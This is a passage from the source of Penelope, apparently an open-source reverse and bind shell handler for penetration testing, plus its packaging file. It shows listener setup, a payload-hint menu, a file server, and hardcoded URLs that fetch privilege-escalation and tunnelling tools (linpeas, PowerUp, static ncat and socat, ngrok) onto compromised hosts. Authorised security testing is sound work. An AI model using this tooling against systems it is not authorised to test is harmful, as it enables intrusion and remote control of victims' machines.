4581 | print(self.links)
4582 | self.httpd.serve_forever()
4583 |
4584 | def stop(self):
4585 | del core.fileservers[self.id]
4586 | if not self.quiet:
4587 | logger.warning(f"Shutting down Fileserver #{self.id}")
4588 | self.httpd.shutdown()
4589 |
4590 |
4591 | def WinResize(num, stack):
4592 | if core.attached_session is not None and core.attached_session.type == "PTY":
4593 | core.attached_session.update_pty_size()
4594 |
4595 |
4596 | def custom_excepthook(*args):
4597 | if len(args) == 1 and hasattr(args[0], 'exc_type'):
4598 | exc_type, exc_value, exc_traceback = args[0].exc_type, args[0].exc_value, args[0].exc_traceback
4599 | elif len(args) == 3:
4600 | exc_type, exc_value, exc_traceback = args
4601 | else:
4602 | return
4603 | print("\n", paint('Oops...').RED, '🐞\n', paint().yellow, '─' * 80, sep='')
4604 | sys.__excepthook__(exc_type, exc_value, exc_traceback)
4605 | print('─' * 80, f"\n{paint('Penelope version:').red} {paint(__version__).green}")
4606 | print(f"{paint('Python version:').red} {paint(sys.version).green}")
4607 | print(f"{paint('System:').red} {paint(platform.version()).green}\n")
4608 |
4609 | def get_glob_size(_glob, block_size):
4610 | from glob import glob
4611 | from math import ceil
4612 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path)))
4613 | def size_on_disk(filepath):
4614 | try:
4615 | return ceil(float(os.lstat(filepath).st_size) / block_size) * block_size
4616 | except:
4617 | return 0
4618 | total_size = 0
4619 | for part in shlex.split(_glob):
4620 | for item in glob(normalize_path(part)):
4621 | if os.path.isfile(item):
4622 | total_size += size_on_disk(item)
4623 | elif os.path.isdir(item):
4624 | for root, dirs, files in os.walk(item):
4625 | for file in files:
4626 | filepath = os.path.join(root, file)
4627 | total_size += size_on_disk(filepath)
4628 | return total_size
4629 |
4630 | def url_to_bytes(URL):
4631 |
4632 | # URLs with special treatment
4633 | URL = re.sub(
4634 | r"https://www.exploit-db.com/exploits/",
4635 | "https://www.exploit-db.com/download/",
4636 | URL
4637 | )
4638 |
4639 | req = Request(URL, headers={'User-Agent': options.useragent})
4640 |
4641 | logger.trace(paint(f"Download URL: {URL}").cyan)
4642 | ctx = ssl.create_default_context() if options.verify_ssl_cert else ssl._create_unverified_context()
4643 |
4644 | while True:
4645 | try:
4646 | response = urlopen(req, context=ctx, timeout=options.short_timeout)
4647 | break
4648 | except (HTTPError, TimeoutError) as e:
4649 | logger.error(e)
4650 | except URLError as e:
4651 | logger.error(e.reason)
4652 | if (hasattr(ssl, 'SSLCertVerificationError') and type(e.reason) == ssl.SSLCertVerificationError) or\
4653 | (isinstance(e.reason, ssl.SSLError) and "CERTIFICATE_VERIFY_FAILED" in str(e)):
4654 | answer = ask("Cannot verify SSL Certificate. Download anyway? (y/N): ")
4655 | if answer.lower() == 'y': # Trust the cert
4656 | ctx = ssl._create_unverified_context()
4657 | continue
4658 | else:
4659 | answer = ask("Connection error. Try again? (Y/n): ")
4660 | if answer.lower() == 'n': # Trust the cert
4661 | pass
4662 | else:
4663 | continue
4664 | return None, None
4665 |
4666 | filename = response.headers.get_filename()
4667 | if filename:
4668 | filename = filename.strip('"')
4669 | elif URL.split('/')[-1]:
4670 | filename = URL.split('/')[-1]
4671 | else:
4672 | filename = URL.split('/')[-2]
4673 |
4674 | size = int(response.headers.get('Content-Length'))
4675 | data = bytearray()
4676 | pbar = PBar(size, caption=f" {paint('⤷').cyan} ", barlen=40, metric=Size)
4677 | while True:
4678 | try:
4679 | chunk = response.read(options.network_buffer_size)
4680 | if not chunk:
4681 | break
4682 | data.extend(chunk)
4683 | pbar.update(len(chunk))
4684 | except Exception as e:
4685 | logger.error(e)
4686 | pbar.terminate()
4687 | break
4688 |
4689 | return filename, data
4690 |
4691 | def check_urls():
4692 | global URLS
4693 | urls = URLS.values()
4694 | space_num = len(max(urls, key=len))
4695 | all_ok = True
4696 | for url in urls:
4697 | req = Request(url, method="HEAD", headers={'User-Agent': options.useragent})
4698 | try:
4699 | with urlopen(req, timeout=5) as response:
4700 | status_code = response.getcode()
4701 | except HTTPError as e:
4702 | all_ok = False
4703 | status_code = e.code
4704 | except:
4705 | return None
4706 | if __name__ == '__main__':
4707 | color = 'RED' if status_code >= 400 else 'GREEN'
4708 | print(f"{paint(url).cyan}{paint('.').DIM * (space_num - len(url))} => {getattr(paint(status_code), color)}")
4709 | return all_ok
4710 |
4711 | def listener_menu():
4712 | if not core.listeners:
4713 | return False
4714 |
4715 | listener_menu.active = True
4716 | func = lambda: _
4717 | listener_menu.control_r, listener_menu.control_w = os.pipe()
4718 |
4719 | listener_menu.finishing = threading.Event()
4720 |
4721 | while True:
4722 | tty.setraw(sys.stdin)
4723 | stdout(
4724 | f"\r\x1b[?25l{paint('➤ ').white} "
4725 | f"🏠 {paint('Main Menu').green} (m) "
4726 | f"💀 {paint('Payloads').magenta} (p) "
4727 | f"🔄 {paint('Clear').yellow} (Ctrl-L) "
4728 | f"🚫 {paint('Quit').red} (q/Ctrl-C)\r\n".encode()
4729 | )
4730 |
4731 | r, _, _ = select([sys.stdin, listener_menu.control_r], [], [])
4732 |
4733 | if sys.stdin in r:
4734 | command = sys.stdin.read(1).lower()
4735 | if command == 'm':
4736 | func = menu.show
4737 | break
4738 | elif command == 'p':
4739 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL)
4740 | print()
4741 | for listener in core.listeners.values():
4742 | print(listener.payloads, end='\n\n')
4743 | elif command == '\x0C':
4744 | os.system("clear")
4745 | elif command in ('q', '\x03'):
4746 | func = core.stop
4747 | menu.stop = True
4748 | break
4749 | stdout(b"\x1b[1A")
4750 | continue
4751 | break
4752 |
4753 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL)
4754 | stdout(b"\x1b[?25h\r")
4755 | func()
4756 | os.close(listener_menu.control_r)
4757 | listener_menu.active = False
4758 | listener_menu.finishing.set()
4759 | return True
4760 |
4761 | def load_rc():
4762 | RC = Path(options.basedir / "peneloperc")
4763 | try:
4764 | with open(RC, "r") as rc:
4765 | exec(rc.read(), globals())
4766 | except FileNotFoundError:
4767 | RC.touch()
4768 | os.chmod(RC, 0o600)
4769 |
4770 | def fonts_installed():
4771 | possible_paths = (
4772 | "/usr/share/fonts/truetype/noto/NotoColorEmoji.ttf",
4773 | "/usr/share/fonts/noto/NotoColorEmoji.ttf",
4774 | "/usr/local/share/fonts/noto/NotoColorEmoji.ttf",
4775 | "/usr/local/share/fonts/noto-emoji/NotoColorEmoji.ttf"
4776 | )
4777 |
4778 | for path in possible_paths:
4779 | if os.path.isfile(path):
4780 | return True
4781 | if myOS == "Darwin":
4782 | return True
4783 | try:
4784 | if "Noto Color Emoji" in subprocess.run(["fc-list"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout:
4785 | return True
4786 | except:
4787 | pass
4788 | return False
4789 |
4790 | # OPTIONS
4791 | class Options:
4792 | log_levels = {"silent":'WARNING', "debug":'DEBUG'}
4793 |
4794 | def __init__(self):
4795 | self.basedir = Path.home() / f'.{__program__}'
4796 | self.default_listener_port = 4444
4797 | self.default_interface = "0.0.0.0"
4798 | self.default_fileserver_port = 8000
4799 | self.payloads = False
4800 | self.no_log = False
4801 | self.no_timestamps = False
4802 | self.no_colored_timestamps = False
4803 | self.max_maintain = 10
4804 | self.maintain = 1
4805 | self.single_session = False
4806 | self.no_attach = False
4807 | self.no_upgrade = False
4808 | self.debug = False
4809 | self.dev_mode = False
4810 | self.latency = .01
4811 | self.histlength = 2000
4812 | self.long_timeout = 60
4813 | self.short_timeout = 4
4814 | self.max_open_files = 5
4815 | self.verify_ssl_cert = True
4816 | self.proxy = ''
4817 | self.upload_chunk_size = 51200
4818 | self.download_chunk_size = 1048576
4819 | self.network_buffer_size = 16384
4820 | self.escape = {'sequence':b'\x1b[24~', 'key':'F12'}
4821 | self.logfile = f"{__program__}.log"
4822 | self.debug_logfile = "debug.log"
4823 | self.cmd_histfile = 'cmd_history'
4824 | self.debug_histfile = 'cmd_debug_history'
4825 | self.useragent = "Wget/1.21.2"
4826 | self.attach_lines = 20
4827 |
4828 | def __getattribute__(self, option):
4829 | if option in ("logfile", "debug_logfile", "cmd_histfile", "debug_histfile"):
4830 | return self.basedir / super().__getattribute__(option)
4831 | # if option == "basedir":
4832 | # return Path(super().__getattribute__(option))
4833 | return super().__getattribute__(option)
4834 |
4835 | def __setattr__(self, option, value):
4836 | show = logger.error if 'logger' in globals() else lambda x: print(paint(x).red)
4837 | level = __class__.log_levels.get(option)
4838 |
4839 | if level:
4840 | level = level if value else 'INFO'
4841 | logging.getLogger(__program__).setLevel(getattr(logging, level))
4842 |
4843 | elif option == 'maintain':
4844 | if value > self.max_maintain:
4845 | show(f"Maintain value decreased to the max ({self.max_maintain})")
4846 | value = self.max_maintain
4847 | if value < 1:
4848 | value = 1
4849 | #if value == 1: show(f"Maintain value should be 2 or above")
4850 | if value > 1 and self.single_session:
4851 | show(f"Single Session mode disabled because Maintain is enabled")
4852 | self.single_session = False
4853 |
4854 | elif option == 'single_session':
4855 | if self.maintain > 1 and value:
4856 | show(f"Single Session mode disabled because Maintain is enabled")
4857 | value = False
4858 |
4859 | elif option == 'no_bins':
4860 | if value is None:
4861 | value = []
4862 | elif type(value) is str:
4863 | value = re.split('[^a-zA-Z0-9]+', value)
4864 |
4865 | elif option == 'proxy':
4866 | if not value:
4867 | os.environ.pop('http_proxy', '')
4868 | os.environ.pop('https_proxy', '')
4869 | else:
4870 | os.environ['http_proxy'] = value
4871 | os.environ['https_proxy'] = value
4872 |
4873 | elif option == 'basedir':
4874 | value.mkdir(parents=True, exist_ok=True)
4875 |
4876 | if hasattr(self, option) and getattr(self, option) is not None:
4877 | new_value_type = type(value).__name__
4878 | orig_value_type = type(getattr(self, option)).__name__
4879 | if new_value_type == orig_value_type:
4880 | self.__dict__[option] = value
4881 | else:
4882 | show(f"Wrong value type for '{option}': Expect <{orig_value_type}>, not <{new_value_type}>")
4883 | else:
4884 | self.__dict__[option] = value
4885 |
4886 | def main():
4887 |
4888 | ## Command line options
4889 | parser = ArgumentParser(description="Penelope Shell Handler", add_help=False)
4890 |
4891 | parser.add_argument("ports", nargs='*', help="Ports to listen/connect to, depending on -i/-c options. Default: 4444")
4892 |
4893 | method = parser.add_argument_group("Reverse or Bind shell?")
4894 | method.add_argument("-i", "--interface", help="Interface or IP address to listen on. Default: 0.0.0.0", metavar='')
4895 | method.add_argument("-c", "--connect", help="Bind shell Host", metavar='')
4896 |
4897 | hints = parser.add_argument_group("Hints")
4898 | hints.add_argument("-a", "--payloads", help="Show sample payloads for reverse shell based on the registered Listeners", action="store_true")
4899 | hints.add_argument("-l", "--interfaces", help="Show the available network interfaces", action="store_true")
4900 | hints.add_argument("-h", "--help", action="help", help="show this help message and exit")
4901 |
4902 | log = parser.add_argument_group("Session Logging")
4903 | log.add_argument("-L", "--no-log", help="Do not create session log files", action="store_true")
4904 | log.add_argument("-T", "--no-timestamps", help="Do not include timestamps in session logs", action="store_true")
4905 | log.add_argument("-CT", "--no-colored-timestamps", help="Do not color timestamps in session logs", action="store_true")
4906 |
4907 | misc = parser.add_argument_group("Misc")
4908 | misc.add_argument("-m", "--maintain", help="Maintain NUM total shells per target", type=int, metavar='')
4909 | misc.add_argument("-M", "--menu", help="Just land to the Main Menu", action="store_true")
4910 | misc.add_argument("-S", "--single-session", help="Accommodate only the first created session", action="store_true")
4911 | misc.add_argument("-C", "--no-attach", help="Disable auto attaching sessions upon creation", action="store_true")
4912 | misc.add_argument("-U", "--no-upgrade", help="Do not upgrade shells", action="store_true")
4913 |
4914 | misc = parser.add_argument_group("File server")
4915 | misc.add_argument("-s", "--serve", help="HTTP File Server mode", action="store_true")
4916 | misc.add_argument("-p", "--port", help="File Server port. Default: 8000", metavar='')
4917 | misc.add_argument("-prefix", "--url-prefix", help="URL prefix", type=str, metavar='')
4918 |
4919 | debug = parser.add_argument_group("Debug")
4920 | debug.add_argument("-N", "--no-bins", help="Simulate binary absence on target (comma separated list)", metavar='')
4921 | debug.add_argument("-v", "--version", help="Show Penelope version", action="store_true")
4922 | debug.add_argument("-d", "--debug", help="Show debug messages", action="store_true")
4923 | debug.add_argument("-dd", "--dev-mode", help="Developer mode", action="store_true")
4924 | debug.add_argument("-cu", "--check-urls", help="Check health of hardcoded URLs", action="store_true")
4925 |
4926 | parser.parse_args(None, options)
4927 |
4928 | # Modify objects for testing
4929 | if options.dev_mode:
4930 | logger.critical("(!) THIS IS DEVELOPER MODE (!)")
4931 | #stdout_handler.addFilter(lambda record: True if record.levelno != logging.DEBUG else False)
4932 | #logger.setLevel('DEBUG')
4933 | #options.max_maintain = 50
4934 | #options.no_bins = 'python,python3,script'
4935 |
4936 | global keyboard_interrupt
4937 | signal.signal(signal.SIGINT, lambda num, stack: core.stop())
4938 |
4939 | # Show Version
4940 | if options.version:
4941 | print(__version__)
4942 | sys.exit()
4943 |
4944 | # Show Interfaces
4945 | elif options.interfaces:
4946 | print(Interfaces())
4947 | sys.exit()
4948 |
4949 | # Check hardcoded URLs
4950 | elif options.check_urls:
4951 | signal.signal(signal.SIGINT, signal.SIG_DFL)
4952 | check_urls()
4953 | sys.exit()
4954 |
4955 | # Main Menu
4956 | elif options.menu:
4957 | signal.signal(signal.SIGINT, keyboard_interrupt)
4958 | menu.show()
4959 | menu.start()
4960 | sys.exit()
4961 |
4962 | # File Server
4963 | elif options.serve:
4964 | server = FileServer(*options.ports or '.', port=options.port, host=options.interface, url_prefix=options.url_prefix)
4965 | if server.filemap:
4966 | server.start()
4967 | else:
4968 | logger.error("No files to serve")
4969 | sys.exit()
4970 |
4971 | if not options.ports:
4972 | options.ports.append(options.default_listener_port)
4973 |
4974 | for port in options.ports:
4975 | # Bind shell
4976 | if options.connect:
4977 | if not Connect(options.connect, port):
4978 | sys.exit(1)
4979 | # Reverse Listener
4980 | else:
4981 | TCPListener(host=options.interface, port=port)
4982 | if not core.listeners:
4983 | sys.exit(1)
4984 | listener_menu()
4985 | signal.signal(signal.SIGINT, keyboard_interrupt)
4986 | menu.start()
4987 | sys.exit()
4988 |
4989 | #################### PROGRAM LOGIC ####################
4990 |
4991 | # Check Python version
4992 | if not sys.version_info >= (3, 6):
4993 | print("(!) Penelope requires Python version 3.6 or higher (!)")
4994 | sys.exit(1)
4995 |
4996 | # Apply default options
4997 | options = Options()
4998 |
4999 | # Loggers
5000 | ## Add TRACE logging level
5001 | TRACE_LEVEL_NUM = 25
5002 | logging.addLevelName(TRACE_LEVEL_NUM, "TRACE")
5003 | logging.TRACE = TRACE_LEVEL_NUM
5004 | def trace(self, message, *args, **kwargs):
5005 | if self.isEnabledFor(TRACE_LEVEL_NUM):
5006 | self._log(TRACE_LEVEL_NUM, message, args, **kwargs)
5007 | logging.Logger.trace = trace
5008 |
5009 | ## Setup Logging Handlers
5010 | stdout_handler = logging.StreamHandler()
5011 | stdout_handler.setFormatter(CustomFormatter())
5012 | stdout_handler.terminator = ''
5013 |
5014 | file_handler = logging.FileHandler(options.logfile)
5015 | file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s", "%Y-%m-%d %H:%M:%S"))
5016 | file_handler.setLevel('INFO') # ??? TODO
5017 | file_handler.terminator = ''
5018 |
5019 | debug_file_handler = logging.FileHandler(options.debug_logfile)
5020 | debug_file_handler.setFormatter(CustomFormatter("%(asctime)s %(message)s"))
5021 | debug_file_handler.addFilter(lambda record: True if record.levelno == logging.DEBUG else False)
5022 | debug_file_handler.terminator = ''
5023 |
5024 | ## Initialize Loggers
5025 | logger = logging.getLogger(__program__)
5026 | logger.addHandler(stdout_handler)
5027 | logger.addHandler(file_handler)
5028 | logger.addHandler(debug_file_handler)
5029 |
5030 | cmdlogger = logging.getLogger(f"{__program__}_cmd")
5031 | cmdlogger.setLevel(logging.INFO)
5032 | cmdlogger.addHandler(stdout_handler)
5033 |
5034 | # Set constants
5035 | myOS = platform.system()
5036 | TTY_NORMAL = termios.tcgetattr(sys.stdin)
5037 | DISPLAY = 'DISPLAY' in os.environ
5038 | TERMINALS = [
5039 | 'gnome-terminal', 'mate-terminal', 'qterminal', 'terminator', 'alacritty', 'kitty', 'tilix',
5040 | 'konsole', 'xfce4-terminal', 'lxterminal', 'urxvt', 'st', 'xterm', 'eterm', 'x-terminal-emulator'
5041 | ]
5042 | TERMINAL = next((term for term in TERMINALS if shutil.which(term)), None)
5043 | MAX_CMD_PROMPT_LEN = 335
5044 | LINUX_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
5045 | URLS = {
5046 | 'linpeas': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh",
5047 | 'winpeas': "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat",
5048 | 'socat': "https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat",
5049 | 'ncat': "https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/ncat",
5050 | 'lse': "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh",
5051 | 'powerup': "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1",
5052 | 'deepce': "https://raw.githubusercontent.com/stealthcopter/deepce/refs/heads/main/deepce.sh",
5053 | 'privesccheck': "https://raw.githubusercontent.com/itm4n/PrivescCheck/refs/heads/master/PrivescCheck.ps1",
5054 | 'les': "https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/refs/heads/master/linux-exploit-suggester.sh",
5055 | 'ngrok_linux': "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz",
5056 | }
5057 |
5058 | # Python Agent code
5059 | GET_GLOB_SIZE = inspect.getsource(get_glob_size)
5060 | MESSENGER = inspect.getsource(Messenger)
5061 | STREAM = inspect.getsource(Stream)
5062 | AGENT = inspect.getsource(agent)
5063 |
5064 | # Python modifications
5065 | original_input = input
5066 | input = my_input
5067 | sys.excepthook = custom_excepthook
5068 | threading.excepthook = custom_excepthook
5069 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT
5070 | os.umask(0o007)
5071 | signal.signal(signal.SIGWINCH, WinResize)
5072 | keyboard_interrupt = signal.getsignal(signal.SIGINT)
5073 | try:
5074 | import readline
5075 | readline.parse_and_bind("tab: complete")
5076 | default_readline_delims = readline.get_completer_delims()
5077 | except ImportError:
5078 | readline = None
5079 | default_readline_delims = None
5080 |
5081 | ## Create basic objects
5082 | core = Core()
5083 | menu = MainMenu(histfile=options.cmd_histfile, histlen=options.histlength)
5084 | start = menu.start
5085 | Listener = TCPListener
5086 |
5087 | # Check for installed emojis
5088 | if not fonts_installed():
5089 | logger.warning("For showing emojis please install 'fonts-noto-color-emoji'")
5090 |
5091 | # Load peneloperc
5092 | load_rc()
5093 |
5094 | if __name__ == "__main__":
5095 | main()
5096 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | requires = ["setuptools"]
3 | build-backend = "setuptools.build_meta"
4 |
5 | [project]
6 | name = "penelope"
7 | version = "0.13.8"
8 | requires-python = ">=3.6"
9 |
10 | [project.scripts]
11 | penelope = "penelope:main"
12 |
13 | [tool.setuptools]
14 | script-files = ["penelope.py"]
15 |
--------------------------------------------------------------------------------